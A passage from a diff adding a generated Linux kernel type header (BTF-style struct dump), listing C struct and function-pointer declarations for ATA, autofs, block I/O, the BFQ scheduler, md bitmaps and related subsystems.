ata_port *); + unsigned int (*mode_filter)(struct ata_device *, unsigned int); + void (*set_piomode)(struct ata_port *, struct ata_device *); + void (*set_dmamode)(struct ata_port *, struct ata_device *); + int (*set_mode)(struct ata_link *, struct ata_device **); + unsigned int (*read_id)(struct ata_device *, struct ata_taskfile *, __le16 *); + void (*dev_config)(struct ata_device *); + void (*freeze)(struct ata_port *); + void (*thaw)(struct ata_port *); + ata_prereset_fn_t prereset; + ata_reset_fn_t softreset; + ata_reset_fn_t hardreset; + ata_postreset_fn_t postreset; + ata_prereset_fn_t pmp_prereset; + ata_reset_fn_t pmp_softreset; + ata_reset_fn_t pmp_hardreset; + ata_postreset_fn_t pmp_postreset; + void (*error_handler)(struct ata_port *); + void (*lost_interrupt)(struct ata_port *); + void (*post_internal_cmd)(struct ata_queued_cmd *); + void (*sched_eh)(struct ata_port *); + void (*end_eh)(struct ata_port *); + int (*scr_read)(struct ata_link *, unsigned int, u32 *); + int (*scr_write)(struct ata_link *, unsigned int, u32); + void (*pmp_attach)(struct ata_port *); + void (*pmp_detach)(struct ata_port *); + int (*set_lpm)(struct ata_link *, enum ata_lpm_policy, unsigned int); + int (*port_suspend)(struct ata_port *, pm_message_t); + int (*port_resume)(struct ata_port *); + int (*port_start)(struct ata_port *); + void (*port_stop)(struct ata_port *); + void (*host_stop)(struct ata_host *); + void (*sff_dev_select)(struct ata_port *, unsigned int); + void (*sff_set_devctl)(struct ata_port *, u8); + u8 (*sff_check_status)(struct ata_port *); + u8 (*sff_check_altstatus)(struct ata_port *); + void (*sff_tf_load)(struct ata_port *, const struct ata_taskfile *); + void (*sff_tf_read)(struct ata_port *, struct ata_taskfile *); + void (*sff_exec_command)(struct ata_port *, const struct ata_taskfile *); + unsigned int (*sff_data_xfer)(struct ata_queued_cmd *, unsigned char *, unsigned int, int); + void (*sff_irq_on)(struct ata_port *); + bool (*sff_irq_check)(struct ata_port *); + void (*sff_irq_clear)(struct ata_port *); + void (*sff_drain_fifo)(struct ata_queued_cmd *); + void (*bmdma_setup)(struct ata_queued_cmd *); + void (*bmdma_start)(struct ata_queued_cmd *); + void (*bmdma_stop)(struct ata_queued_cmd *); + u8 (*bmdma_status)(struct ata_port *); + ssize_t (*em_show)(struct ata_port *, char *); + ssize_t (*em_store)(struct ata_port *, const char *, size_t); + ssize_t (*sw_activity_show)(struct ata_device *, char *); + ssize_t (*sw_activity_store)(struct ata_device *, enum sw_activity); + ssize_t (*transmit_led_message)(struct ata_port *, u32, ssize_t); + const struct ata_port_operations *inherits; +}; + +struct ata_scsi_args { + struct ata_device *dev; + u16 *id; + struct scsi_cmnd *cmd; +}; + +struct ata_show_ering_arg { + char *buf; + int written; +}; + +struct ata_timing { + unsigned short mode; + unsigned short setup; + unsigned short act8b; + unsigned short rec8b; + unsigned short cyc8b; + unsigned short active; + unsigned short recover; + unsigned short dmack_hold; + unsigned short cycle; + unsigned short udma; +}; + +struct ata_xfer_ent { + int shift; + int bits; + u8 base; +}; + +struct ps2dev; + +typedef enum ps2_disposition (*ps2_pre_receive_handler_t)(struct ps2dev *, u8, unsigned int); + +typedef void (*ps2_receive_handler_t)(struct ps2dev *, u8); + +struct serio; + +struct ps2dev { + struct serio *serio; + struct mutex cmd_mutex; + wait_queue_head_t wait; + unsigned long flags; + u8 cmdbuf[8]; + u8 cmdcnt; + u8 nak; + ps2_pre_receive_handler_t pre_receive_handler; + ps2_receive_handler_t receive_handler; +}; + +struct vivaldi_data { + u32 function_row_physmap[24]; + unsigned int num_function_row_keys; +}; + +struct atkbd { + struct ps2dev ps2dev; + struct input_dev *dev; + char name[64]; + char phys[32]; + unsigned short id; + unsigned short keycode[512]; + unsigned long force_release_mask[8]; + unsigned char set; + bool translated; + bool extra; + bool write; + bool softrepeat; + bool softraw; + bool scroll; + bool enabled; + unsigned char emul; + bool resend; + bool release; + unsigned long xl_bit; + unsigned int last; + unsigned long time; + unsigned long err_count; + struct delayed_work event_work; + unsigned long event_jiffies; + unsigned long event_mask; + struct mutex mutex; + struct vivaldi_data vdata; +}; + +struct notifier_block; + +struct atomic_notifier_head { + spinlock_t lock; + struct notifier_block __attribute__((btf_type_tag("rcu"))) *head; +}; + +struct attribute_group { + const char *name; + umode_t (*is_visible)(struct kobject *, struct attribute *, int); + umode_t (*is_bin_visible)(struct kobject *, struct bin_attribute *, int); + struct attribute **attrs; + struct bin_attribute **bin_attrs; +}; + +struct audit_ntp_data {}; + +struct crypto_spawn { + struct list_head list; + struct crypto_alg *alg; + union { + struct crypto_instance *inst; + struct crypto_spawn *next; + }; + const struct crypto_type *frontend; + u32 mask; + bool dead; + bool registered; +}; + +struct crypto_ahash_spawn { + struct crypto_spawn base; +}; + +struct crypto_skcipher_spawn { + struct crypto_spawn base; +}; + +struct authenc_esn_instance_ctx { + struct crypto_ahash_spawn auth; + struct crypto_skcipher_spawn enc; +}; + +struct authenc_esn_request_ctx { + struct scatterlist src[2]; + struct scatterlist dst[2]; + char tail[0]; +}; + +struct authenc_instance_ctx { + struct crypto_ahash_spawn auth; + struct crypto_skcipher_spawn enc; + unsigned int reqoff; +}; + +struct authenc_request_ctx { + struct scatterlist src[2]; + struct scatterlist dst[2]; + char tail[0]; +}; + +struct autofs_dev_ioctl { + __u32 ver_major; + __u32 ver_minor; + __u32 size; + __s32 ioctlfd; + union { + struct args_protover protover; + struct args_protosubver protosubver; + struct args_openmount openmount; + struct args_ready ready; + struct args_fail fail; + struct args_setpipefd setpipefd; + struct args_timeout timeout; + struct args_requester requester; + struct args_expire expire; + struct args_askumount askumount; + struct args_ismountpoint ismountpoint; + }; + char path[0]; +}; + +struct autofs_fs_context { + kuid_t uid; + kgid_t gid; + int pgrp; + bool pgrp_set; +}; + +struct autofs_sb_info; + +struct autofs_info { + struct dentry *dentry; + int flags; + struct completion expire_complete; + struct list_head active; + struct list_head expiring; + struct autofs_sb_info *sbi; + unsigned long exp_timeout; + unsigned long last_used; + int count; + kuid_t uid; + kgid_t gid; + struct callback_head rcu; +}; + +struct autofs_packet_hdr { + int proto_version; + int type; +}; + +struct autofs_packet_expire { + struct autofs_packet_hdr hdr; + int len; + char name[256]; +}; + +struct autofs_packet_expire_multi { + struct autofs_packet_hdr hdr; + autofs_wqt_t wait_queue_token; + int len; + char name[256]; +}; + +struct autofs_packet_missing { + struct autofs_packet_hdr hdr; + autofs_wqt_t wait_queue_token; + int len; + char name[256]; +}; + +union autofs_packet_union { + struct autofs_packet_hdr hdr; + struct autofs_packet_missing missing; + struct autofs_packet_expire expire; + struct autofs_packet_expire_multi expire_multi; +}; + +struct super_block; + +struct autofs_wait_queue; + +struct autofs_sb_info { + u32 magic; + int pipefd; + struct file *pipe; + struct pid *oz_pgrp; + int version; + int sub_version; + int min_proto; + int max_proto; + unsigned int flags; + unsigned long exp_timeout; + unsigned int type; + struct super_block *sb; + struct mutex wq_mutex; + struct mutex pipe_mutex; + spinlock_t fs_lock; + struct autofs_wait_queue *queues; + spinlock_t lookup_lock; + struct list_head active_list; + struct list_head expiring_list; + struct callback_head rcu; +}; + +struct autofs_v5_packet { + struct autofs_packet_hdr hdr; + autofs_wqt_t wait_queue_token; + __u32 dev; + __u64 ino; + __u32 uid; + __u32 gid; + __u32 pid; + __u32 tgid; + __u32 len; + char name[256]; +}; + +typedef struct autofs_v5_packet autofs_packet_expire_direct_t; + +typedef struct autofs_v5_packet autofs_packet_expire_indirect_t; + +typedef struct autofs_v5_packet autofs_packet_missing_direct_t; + +typedef struct autofs_v5_packet autofs_packet_missing_indirect_t; + +union autofs_v5_packet_union { + struct autofs_packet_hdr hdr; + struct autofs_v5_packet v5_packet; + autofs_packet_missing_indirect_t missing_indirect; + autofs_packet_expire_indirect_t expire_indirect; + autofs_packet_missing_direct_t missing_direct; + autofs_packet_expire_direct_t expire_direct; +}; + +struct qstr { + union { + struct { + u32 hash; + u32 len; + }; + u64 hash_len; + }; + const unsigned char *name; +}; + +struct autofs_wait_queue { + wait_queue_head_t queue; + struct autofs_wait_queue *next; + autofs_wqt_t wait_queue_token; + struct qstr name; + u32 offset; + u32 dev; + u64 ino; + kuid_t uid; + kgid_t gid; + pid_t pid; + pid_t tgid; + int status; + unsigned int wait_ctr; +}; + +struct backing_aio { + struct kiocb iocb; + refcount_t ref; + struct kiocb *orig_iocb; + void (*end_write)(struct file *); + struct work_struct work; + long res; +}; + +struct percpu_counter { + raw_spinlock_t lock; + s64 count; + struct list_head list; + s32 __attribute__((btf_type_tag("percpu"))) *counters; +}; + +struct fprop_local_percpu { + struct percpu_counter events; + unsigned int period; + raw_spinlock_t lock; +}; + +struct percpu_ref_data; + +struct percpu_ref { + unsigned long percpu_count_ptr; + struct percpu_ref_data *data; +}; + +struct backing_dev_info; + +struct bdi_writeback { + struct backing_dev_info *bdi; + unsigned long state; + unsigned long last_old_flush; + struct list_head b_dirty; + struct list_head b_io; + struct list_head b_more_io; + struct list_head b_dirty_time; + spinlock_t list_lock; + atomic_t writeback_inodes; + struct percpu_counter stat[4]; + unsigned long bw_time_stamp; + unsigned long dirtied_stamp; + unsigned long written_stamp; + unsigned long write_bandwidth; + unsigned long avg_write_bandwidth; + unsigned long dirty_ratelimit; + unsigned long balanced_dirty_ratelimit; + struct fprop_local_percpu completions; + int dirty_exceeded; + enum wb_reason start_all_reason; + spinlock_t work_lock; + struct list_head work_list; + struct delayed_work dwork; + struct delayed_work bw_dwork; + struct list_head bdi_node; + struct percpu_ref refcnt; + struct fprop_local_percpu memcg_completions; + struct cgroup_subsys_state *memcg_css; + struct cgroup_subsys_state *blkcg_css; + struct list_head memcg_node; + struct list_head blkcg_node; + struct list_head b_attached; + struct list_head offline_node; + union { + struct work_struct release_work; + struct callback_head rcu; + }; +}; + +struct backing_dev_info { + u64 id; + struct rb_node rb_node; + struct list_head bdi_list; + unsigned long ra_pages; + unsigned long io_pages; + struct kref refcnt; + unsigned int capabilities; + unsigned int min_ratio; + unsigned int max_ratio; + unsigned int max_prop_frac; + atomic_long_t tot_write_bandwidth; + unsigned long last_bdp_sleep; + struct bdi_writeback wb; + struct list_head wb_list; + struct xarray cgwb_tree; + struct mutex cgwb_release_mutex; + struct rw_semaphore wb_switch_rwsem; + wait_queue_head_t wb_waitq; + struct device *dev; + char dev_name[64]; + struct device *owner; + struct timer_list laptop_mode_wb_timer; + struct dentry *debug_dir; +}; + +struct vfsmount; + +struct path { + struct vfsmount *mnt; + struct dentry *dentry; +}; + +struct file_ra_state { + unsigned long start; + unsigned int size; + unsigned int async_size; + unsigned int ra_pages; + unsigned int mmap_miss; + loff_t prev_pos; +}; + +struct file_operations; + +struct fown_struct; + +struct hlist_head; + +struct file { + atomic_long_t f_count; + spinlock_t f_lock; + fmode_t f_mode; + const struct file_operations *f_op; + struct address_space *f_mapping; + void *private_data; + struct inode *f_inode; + unsigned int f_flags; + unsigned int f_iocb_flags; + const struct cred *f_cred; + struct path f_path; + union { + struct mutex f_pos_lock; + u64 f_pipe; + }; + loff_t f_pos; + struct fown_struct *f_owner; + errseq_t f_wb_err; + errseq_t f_sb_err; + struct hlist_head *f_ep; + union { + struct callback_head f_task_work; + struct llist_node f_llist; + struct file_ra_state f_ra; + freeptr_t f_freeptr; + }; +}; + +struct backing_file { + struct file file; + struct path user_path; +}; + +struct backing_file_ctx { + const struct cred *cred; + struct file *user_file; + void (*accessed)(struct file *); + void (*end_write)(struct file *); +}; + +struct backlight_properties { + int brightness; + int max_brightness; + int power; + enum backlight_type type; + unsigned int state; + enum backlight_scale scale; +}; + +typedef int (*notifier_fn_t)(struct notifier_block *, unsigned long, void *); + +struct notifier_block { + notifier_fn_t notifier_call; + struct notifier_block __attribute__((btf_type_tag("rcu"))) *next; + int priority; +}; + +struct backlight_ops; + +struct backlight_device { + struct backlight_properties props; + struct mutex update_lock; + struct mutex ops_lock; + const struct backlight_ops *ops; + struct notifier_block fb_notif; + struct list_head entry; + struct device dev; + bool fb_bl_on[32]; + int use_count; +}; + +struct backlight_ops { + unsigned int options; + int (*update_status)(struct backlight_device *); + int (*get_brightness)(struct backlight_device *); + bool (*controls_device)(struct backlight_device *, struct device *); +}; + +struct btrfs_lru_cache_entry { + struct list_head lru_list; + u64 key; + u64 gen; + struct list_head list; +}; + +struct backref_cache_entry { + struct btrfs_lru_cache_entry entry; + u64 root_ids[17]; + int num_roots; +}; + +struct send_ctx; + +struct backref_ctx { + struct send_ctx *sctx; + u64 found; + u64 cur_objectid; + u64 cur_offset; + u64 extent_len; + u64 bytenr; + u64 backref_owner; + u64 backref_offset; +}; + +struct bpf_verifier_env; + +struct backtrack_state { + struct bpf_verifier_env *env; + u32 frame; + u32 reg_masks[8]; + u64 stack_masks[8]; +}; + +struct badblocks { + struct device *dev; + int count; + int unacked_exist; + int shift; + u64 *page; + int changed; + seqlock_t lock; + sector_t sector; + sector_t size; +}; + +struct badblocks_context { + sector_t start; + sector_t len; + int ack; +}; + +struct balance_callback { + struct balance_callback *next; + void (*func)(struct rq *); +}; + +struct batadv_unicast_packet { + __u8 packet_type; + __u8 version; + __u8 ttl; + __u8 ttvn; + __u8 dest[6]; +}; + +struct batch_u16 { + u16 entropy[48]; + local_lock_t lock; + unsigned long generation; + unsigned int position; +}; + +struct batch_u32 { + u32 entropy[24]; + local_lock_t lock; + unsigned long generation; + unsigned int position; +}; + +struct batch_u64 { + u64 entropy[12]; + local_lock_t lock; + unsigned long generation; + unsigned int position; +}; + +struct batch_u8 { + u8 entropy[96]; + local_lock_t lock; + unsigned long generation; + unsigned int position; +}; + +struct bd_holder_disk { + struct list_head list; + struct kobject *holder_dir; + int refcnt; +}; + +struct gendisk; + +struct request_queue; + +struct disk_stats; + +struct blk_holder_ops; + +struct partition_meta_info; + +struct block_device { + sector_t bd_start_sect; + sector_t bd_nr_sectors; + struct gendisk *bd_disk; + struct request_queue *bd_queue; + struct disk_stats __attribute__((btf_type_tag("percpu"))) *bd_stats; + unsigned long bd_stamp; + atomic_t __bd_flags; + dev_t bd_dev; + struct address_space *bd_mapping; + atomic_t bd_openers; + spinlock_t bd_size_lock; + void *bd_claiming; + void *bd_holder; + const struct blk_holder_ops *bd_holder_ops; + struct mutex bd_holder_lock; + int bd_holders; + struct kobject *bd_holder_dir; + atomic_t bd_fsfreeze_count; + struct mutex bd_fsfreeze_mutex; + struct partition_meta_info *bd_meta_info; + int bd_writers; + struct device bd_device; +}; + +struct hlist_head { + struct hlist_node *first; +}; + +struct posix_acl; + +struct inode_operations; + +struct file_lock_context; + +struct pipe_inode_info; + +struct cdev; + +struct fsnotify_mark_connector; + +struct inode { + umode_t i_mode; + unsigned short i_opflags; + kuid_t i_uid; + kgid_t i_gid; + unsigned int i_flags; + struct posix_acl *i_acl; + struct posix_acl *i_default_acl; + const struct inode_operations *i_op; + struct super_block *i_sb; + struct address_space *i_mapping; + unsigned long i_ino; + union { + const unsigned int i_nlink; + unsigned int __i_nlink; + }; + dev_t i_rdev; + loff_t i_size; + time64_t i_atime_sec; + time64_t i_mtime_sec; + time64_t i_ctime_sec; + u32 i_atime_nsec; + u32 i_mtime_nsec; + u32 i_ctime_nsec; + u32 i_generation; + spinlock_t i_lock; + unsigned short i_bytes; + u8 i_blkbits; + enum rw_hint i_write_hint; + blkcnt_t i_blocks; + u32 i_state; + struct rw_semaphore i_rwsem; + unsigned long dirtied_when; + unsigned long dirtied_time_when; + struct hlist_node i_hash; + struct list_head i_io_list; + struct bdi_writeback *i_wb; + int i_wb_frn_winner; + u16 i_wb_frn_avg_time; + u16 i_wb_frn_history; + struct list_head i_lru; + struct list_head i_sb_list; + struct list_head i_wb_list; + union { + struct hlist_head i_dentry; + struct callback_head i_rcu; + }; + atomic64_t i_version; + atomic64_t i_sequence; + atomic_t i_count; + atomic_t i_dio_count; + atomic_t i_writecount; + atomic_t i_readcount; + union { + const struct file_operations *i_fop; + void (*free_inode)(struct inode *); + }; + struct file_lock_context *i_flctx; + struct address_space i_data; + struct list_head i_devices; + union { + struct pipe_inode_info *i_pipe; + struct cdev *i_cdev; + char *i_link; + unsigned int i_dir_seq; + }; + __u32 i_fsnotify_mask; + struct fsnotify_mark_connector __attribute__((btf_type_tag("rcu"))) *i_fsnotify_marks; + void *i_private; +}; + +struct bdev_inode { + struct block_device bdev; + struct inode vfs_inode; +}; + +struct ieee80211_meshconf_ie; + +struct cfg80211_mbssid_elems; + +struct cfg80211_rnr_elems; + +struct beacon_data { + u8 *head; + u8 *tail; + int head_len; + int tail_len; + struct ieee80211_meshconf_ie *meshconf; + u16 cntdwn_counter_offsets[2]; + u8 cntdwn_current_counter; + struct cfg80211_mbssid_elems *mbssid_ies; + struct cfg80211_rnr_elems *rnr_ies; + struct callback_head callback_head; +}; + +struct bfq_sched_data; + +struct bfq_queue; + +struct bfq_entity { + struct rb_node rb_node; + bool on_st_or_in_serv; + u64 start; + u64 finish; + struct rb_root *tree; + u64 min_start; + int service; + int budget; + int allocated; + int dev_weight; + int weight; + int new_weight; + int orig_weight; + struct bfq_entity *parent; + struct bfq_sched_data *my_sched_data; + struct bfq_sched_data *sched_data; + int prio_changed; + bool in_groups_with_pending_reqs; + struct bfq_queue *last_bfqq_created; +}; + +struct bfq_ttime { + u64 last_end_request; + u64 ttime_total; + unsigned long ttime_samples; + u64 ttime_mean; +}; + +struct bfq_data; + +struct request; + +struct bfq_weight_counter; + +struct bfq_io_cq; + +struct bfq_queue { + int ref; + int stable_ref; + struct bfq_data *bfqd; + unsigned short ioprio; + unsigned short ioprio_class; + unsigned short new_ioprio; + unsigned short new_ioprio_class; + u64 last_serv_time_ns; + unsigned int inject_limit; + unsigned long decrease_time_jif; + struct bfq_queue *new_bfqq; + struct rb_node pos_node; + struct rb_root *pos_root; + struct rb_root sort_list; + struct request *next_rq; + int queued[2]; + int meta_pending; + struct list_head fifo; + struct bfq_entity entity; + struct bfq_weight_counter *weight_counter; + int max_budget; + unsigned long budget_timeout; + int dispatched; + unsigned long flags; + struct list_head bfqq_list; + struct bfq_ttime ttime; + u64 io_start_time; + u64 tot_idle_time; + u32 seek_history; + struct hlist_node burst_list_node; + sector_t last_request_pos; + unsigned int requests_within_timer; + pid_t pid; + struct bfq_io_cq *bic; + unsigned long wr_cur_max_time; + unsigned long soft_rt_next_start; + unsigned long last_wr_start_finish; + unsigned int wr_coeff; + unsigned long last_idle_bklogged; + unsigned long service_from_backlogged; + unsigned long service_from_wr; + unsigned long wr_start_at_switch_to_srt; + unsigned long split_time; + unsigned long first_IO_time; + unsigned long creation_time; + struct bfq_queue *waker_bfqq; + struct bfq_queue *tentative_waker_bfqq; + unsigned int num_waker_detections; + u64 waker_detection_started; + struct hlist_node woken_list_node; + struct hlist_head woken_list; + unsigned int actuator_idx; +}; + +struct blk_independent_access_range { + struct kobject kobj; + sector_t sector; + sector_t nr_sectors; +}; + +struct bfq_group; + +struct bfq_data { + struct request_queue *queue; + struct list_head dispatch; + struct bfq_group *root_group; + struct rb_root_cached queue_weights_tree; + unsigned int num_groups_with_pending_reqs; + unsigned int busy_queues[3]; + int wr_busy_queues; + int queued; + int tot_rq_in_driver; + int rq_in_driver[8]; + bool nonrot_with_queueing; + int max_rq_in_driver; + int hw_tag_samples; + int hw_tag; + int budgets_assigned; + struct hrtimer idle_slice_timer; + struct bfq_queue *in_service_queue; + sector_t last_position; + sector_t in_serv_last_pos; + u64 last_completion; + struct bfq_queue *last_completed_rq_bfqq; + struct bfq_queue *last_bfqq_created; + u64 last_empty_occupied_ns; + bool wait_dispatch; + struct request *waited_rq; + bool rqs_injected; + u64 first_dispatch; + u64 last_dispatch; + ktime_t last_budget_start; + ktime_t last_idling_start; + unsigned long last_idling_start_jiffies; + int peak_rate_samples; + u32 sequential_samples; + u64 tot_sectors_dispatched; + u32 last_rq_max_size; + u64 delta_from_first; + u32 peak_rate; + int bfq_max_budget; + struct list_head active_list[8]; + struct list_head idle_list; + u64 bfq_fifo_expire[2]; + unsigned int bfq_back_penalty; + unsigned int bfq_back_max; + u32 bfq_slice_idle; + int bfq_user_max_budget; + unsigned int bfq_timeout; + bool strict_guarantees; + unsigned long last_ins_in_burst; + unsigned long bfq_burst_interval; + int burst_size; + struct bfq_entity *burst_parent_entity; + unsigned long bfq_large_burst_thresh; + bool large_burst; + struct hlist_head burst_list; + bool low_latency; + unsigned int bfq_wr_coeff; + unsigned int bfq_wr_rt_max_time; + unsigned int bfq_wr_min_idle_time; + unsigned long bfq_wr_min_inter_arr_async; + unsigned int bfq_wr_max_softrt_rate; + u64 rate_dur_prod; + struct bfq_queue oom_bfqq; + spinlock_t lock; + struct bfq_io_cq *bio_bic; + struct bfq_queue *bio_bfqq; + unsigned int word_depths[4]; + unsigned int full_depth_shift; + unsigned int num_actuators; + sector_t sector[8]; + sector_t nr_sectors[8]; + struct blk_independent_access_range ia_ranges[8]; + unsigned int actuator_load_threshold; +}; + +struct blkcg_gq; + +struct blkg_policy_data { + struct blkcg_gq *blkg; + int plid; + bool online; +}; + +struct bfq_service_tree { + struct rb_root active; + struct rb_root idle; + struct bfq_entity *first_idle; + struct bfq_entity *last_idle; + u64 vtime; + unsigned long wsum; +}; + +struct bfq_sched_data { + struct bfq_entity *in_service_entity; + struct bfq_entity *next_in_service; + struct bfq_service_tree service_tree[3]; + unsigned long bfq_class_idle_last_service; +}; + +struct blkg_rwstat { + struct percpu_counter cpu_cnt[5]; + atomic64_t aux_cnt[5]; +}; + +struct bfqg_stats { + struct blkg_rwstat bytes; + struct blkg_rwstat ios; +}; + +struct bfq_group { + struct blkg_policy_data pd; + refcount_t ref; + struct bfq_entity entity; + struct bfq_sched_data sched_data; + struct bfq_data *bfqd; + struct bfq_queue *async_bfqq[128]; + struct bfq_queue *async_idle_bfqq[8]; + struct bfq_entity *my_entity; + int active_entities; + int num_queues_with_pending_reqs; + struct rb_root rq_pos_tree; + struct bfqg_stats stats; +}; + +struct blkcg; + +struct blkcg_policy_data { + struct blkcg *blkcg; + int plid; +}; + +struct bfq_group_data { + struct blkcg_policy_data pd; + unsigned int weight; +}; + +struct io_context; + +struct io_cq { + struct request_queue *q; + struct io_context *ioc; + union { + struct list_head q_node; + struct kmem_cache *__rcu_icq_cache; + }; + union { + struct hlist_node ioc_node; + struct callback_head __rcu_head; + }; + unsigned int flags; +}; + +struct bfq_iocq_bfqq_data { + bool saved_has_short_ttime; + bool saved_IO_bound; + u64 saved_io_start_time; + u64 saved_tot_idle_time; + bool saved_in_large_burst; + bool was_in_burst_list; + unsigned int saved_weight; + unsigned long saved_wr_coeff; + unsigned long saved_last_wr_start_finish; + unsigned long saved_service_from_wr; + unsigned long saved_wr_start_at_switch_to_srt; + unsigned int saved_wr_cur_max_time; + struct bfq_ttime saved_ttime; + u64 saved_last_serv_time_ns; + unsigned int saved_inject_limit; + unsigned long saved_decrease_time_jif; + struct bfq_queue *stable_merge_bfqq; + bool stably_merged; +}; + +struct bfq_io_cq { + struct io_cq icq; + struct bfq_queue *bfqq[16]; + int ioprio; + uint64_t blkcg_serial_nr; + struct bfq_iocq_bfqq_data bfqq_data[8]; + unsigned int requests; +}; + +struct bfq_weight_counter { + unsigned int weight; + unsigned int num_active; + struct rb_node weights_node; +}; + +struct bgl_lock { + spinlock_t lock; +}; + +struct bh_accounting { + int nr; + int ratelimit; +}; + +struct bh_lru { + struct buffer_head *bhs[16]; +}; + +struct bictcp { + u32 cnt; + u32 last_max_cwnd; + u32 last_cwnd; + u32 last_time; + u32 bic_origin_point; + u32 bic_K; + u32 delay_min; + u32 epoch_start; + u32 ack_cnt; + u32 tcp_cwnd; + u16 unused; + u8 sample_cnt; + u8 found; + u32 round_start; + u32 end_seq; + u32 last_ack; + u32 curr_rtt; +}; + +struct binfmt_misc { + struct list_head entries; + rwlock_t entries_lock; + bool enabled; +}; + +struct bvec_iter { + sector_t bi_sector; + unsigned int bi_size; + unsigned int bi_idx; + unsigned int bi_bvec_done; +} __attribute__((packed)); + +struct bio; + +typedef void bio_end_io_t(struct bio *); + +struct bio_issue { + u64 value; +}; + +struct bio_vec { + struct page *bv_page; + unsigned int bv_len; + unsigned int bv_offset; +}; + +struct bio_set; + +struct bio { + struct bio *bi_next; + struct block_device *bi_bdev; + blk_opf_t bi_opf; + unsigned short bi_flags; + unsigned short bi_ioprio; + enum rw_hint bi_write_hint; + blk_status_t bi_status; + atomic_t __bi_remaining; + struct bvec_iter bi_iter; + union { + blk_qc_t bi_cookie; + unsigned int __bi_nr_segments; + }; + bio_end_io_t *bi_end_io; + void *bi_private; + struct blkcg_gq *bi_blkg; + struct bio_issue bi_issue; + u64 bi_iocost_cost; + union {}; + unsigned short bi_vcnt; + unsigned short bi_max_vecs; + atomic_t __bi_cnt; + struct bio_vec *bi_io_vec; + struct bio_set *bi_pool; + struct bio_vec bi_inline_vecs[0]; +}; + +struct bio_alloc_cache { + struct bio *free_list; + struct bio *free_list_irq; + unsigned int nr; + unsigned int nr_irq; +}; + +struct bio_integrity_payload { + struct bio *bip_bio; + struct bvec_iter bip_iter; + unsigned short bip_vcnt; + unsigned short bip_max_vcnt; + unsigned short bip_flags; + int: 0; + struct bvec_iter bio_iter; + struct work_struct bip_work; + struct bio_vec *bip_vec; + struct bio_vec bip_inline_vecs[0]; +}; + +struct bio_list { + struct bio *head; + struct bio *tail; +}; + +struct iovec { + void __attribute__((btf_type_tag("user"))) *iov_base; + __kernel_size_t iov_len; +}; + +struct kvec; + +struct folio_queue; + +struct iov_iter { + u8 iter_type; + bool nofault; + bool data_source; + size_t iov_offset; + union { + struct iovec __ubuf_iovec; + struct { + union { + const struct iovec *__iov; + const struct kvec *kvec; + const struct bio_vec *bvec; + const struct folio_queue *folioq; + struct xarray *xarray; + void __attribute__((btf_type_tag("user"))) *ubuf; + }; + size_t count; + }; + }; + union { + unsigned long nr_segs; + u8 folioq_slot; + loff_t xarray_start; + }; +}; + +struct bio_map_data { + bool is_our_pages: 1; + bool is_null_mapped: 1; + struct iov_iter iter; + struct iovec iov[0]; +}; + +struct bio_post_read_ctx { + struct bio *bio; + struct work_struct work; + unsigned int cur_step; + unsigned int enabled_steps; +}; + +typedef void *mempool_alloc_t(gfp_t, void *); + +typedef void mempool_free_t(void *, void *); + +struct mempool_s { + spinlock_t lock; + int min_nr; + int curr_nr; + void **elements; + void *pool_data; + mempool_alloc_t *alloc; + mempool_free_t *free; + wait_queue_head_t wait; +}; + +typedef struct mempool_s mempool_t; + +struct bio_set { + struct kmem_cache *bio_slab; + unsigned int front_pad; + struct bio_alloc_cache __attribute__((btf_type_tag("percpu"))) *cache; + mempool_t bio_pool; + mempool_t bvec_pool; + unsigned int back_pad; + spinlock_t rescue_lock; + struct bio_list rescue_list; + struct work_struct rescue_work; + struct workqueue_struct *rescue_workqueue; + struct hlist_node cpuhp_dead; +}; + +struct bio_slab { + struct kmem_cache *slab; + unsigned int slab_ref; + unsigned int slab_size; + char name[8]; +}; + +struct biovec_slab { + int nr_vecs; + char *name; + struct kmem_cache *slab; +}; + +struct bitmap_page; + +struct bitmap_counts { + spinlock_t lock; + struct bitmap_page *bp; + unsigned long pages; + unsigned long missing_pages; + unsigned long chunkshift; + unsigned long chunks; +}; + +struct bitmap_storage { + struct file *file; + struct page *sb_page; + unsigned long sb_index; + struct page **filemap; + unsigned long *filemap_attr; + unsigned long file_pages; + unsigned long bytes; +}; + +struct mddev; + +struct bitmap { + struct bitmap_counts counts; + struct mddev *mddev; + __u64 events_cleared; + int need_sync; + struct bitmap_storage storage; + unsigned long flags; + int allclean; + atomic_t behind_writes; + unsigned long behind_writes_used; + unsigned long daemon_lastrun; + unsigned long last_end_sync; + atomic_t pending_writes; + wait_queue_head_t write_wait; + wait_queue_head_t overflow_wait; + wait_queue_head_t behind_wait; + struct kernfs_node *sysfs_can_clear; + int cluster_slot; +}; + +struct md_bitmap_stats; + +struct bitmap_operations { + bool (*enabled)(struct mddev *); + int (*create)(struct mddev *, int); + int (*resize)(struct mddev *, sector_t, int, bool); + int (*load)(struct mddev *); + void (*destroy)(struct mddev *); + void (*flush)(struct mddev *); + void (*write_all)(struct mddev *); + void (*dirty_bits)(struct mddev *, unsigned long, unsigned long); + void (*unplug)(struct mddev *, bool); + void (*daemon_work)(struct mddev *); + void (*wait_behind_writes)(struct mddev *); + int (*startwrite)(struct mddev *, sector_t, unsigned long, bool); + void (*endwrite)(struct mddev *, sector_t, unsigned long, bool, bool); + bool (*start_sync)(struct mddev *, sector_t, sector_t *, bool); + void (*end_sync)(struct mddev *, sector_t, sector_t *); + void (*cond_end_sync)(struct mddev *, sector_t, bool); + void (*close_sync)(struct mddev *); + void (*update_sb)(void *); + int (*get_stats)(void *, struct md_bitmap_stats *); + void (*sync_with_cluster)(struct mddev *, sector_t, sector_t, sector_t, sector_t); + void * (*get_from_slot)(struct mddev *, int); + int (*copy_from_slot)(struct mddev *, int, sector_t *, sector_t *, bool); + void (*set_pages)(void *, unsigned long); + void (*free)(void *); +}; + +struct bitmap_page { + char *map; + unsigned int hijacked: 1; + unsigned int pending: 1; + unsigned int count: 30; +}; + +struct bitmap_super_s { + __le32 magic; + __le32 version; + __u8 uuid[16]; + __le64 events; + __le64 events_cleared; + __le64 sync_size; + __le32 state; + __le32 chunksize; + __le32 daemon_sleep; + __le32 write_behind; + __le32 sectors_reserved; + __le32 nodes; + __u8 cluster_name[64]; + __u8 pad[120]; +}; + +typedef struct bitmap_super_s bitmap_super_t; + +struct bitmap_unplug_work { + struct work_struct work; + struct bitmap *bitmap; + struct completion *done; +}; + +struct blacklist_entry { + struct list_head next; + char *buf; +}; + +struct blake2b_state { + u64 h[8]; + u64 t[2]; + u64 f[2]; + u8 buf[128]; + unsigned int buflen; + unsigned int outlen; +}; + +struct blake2b_tfm_ctx { + u8 key[64]; + unsigned int keylen; +}; + +struct 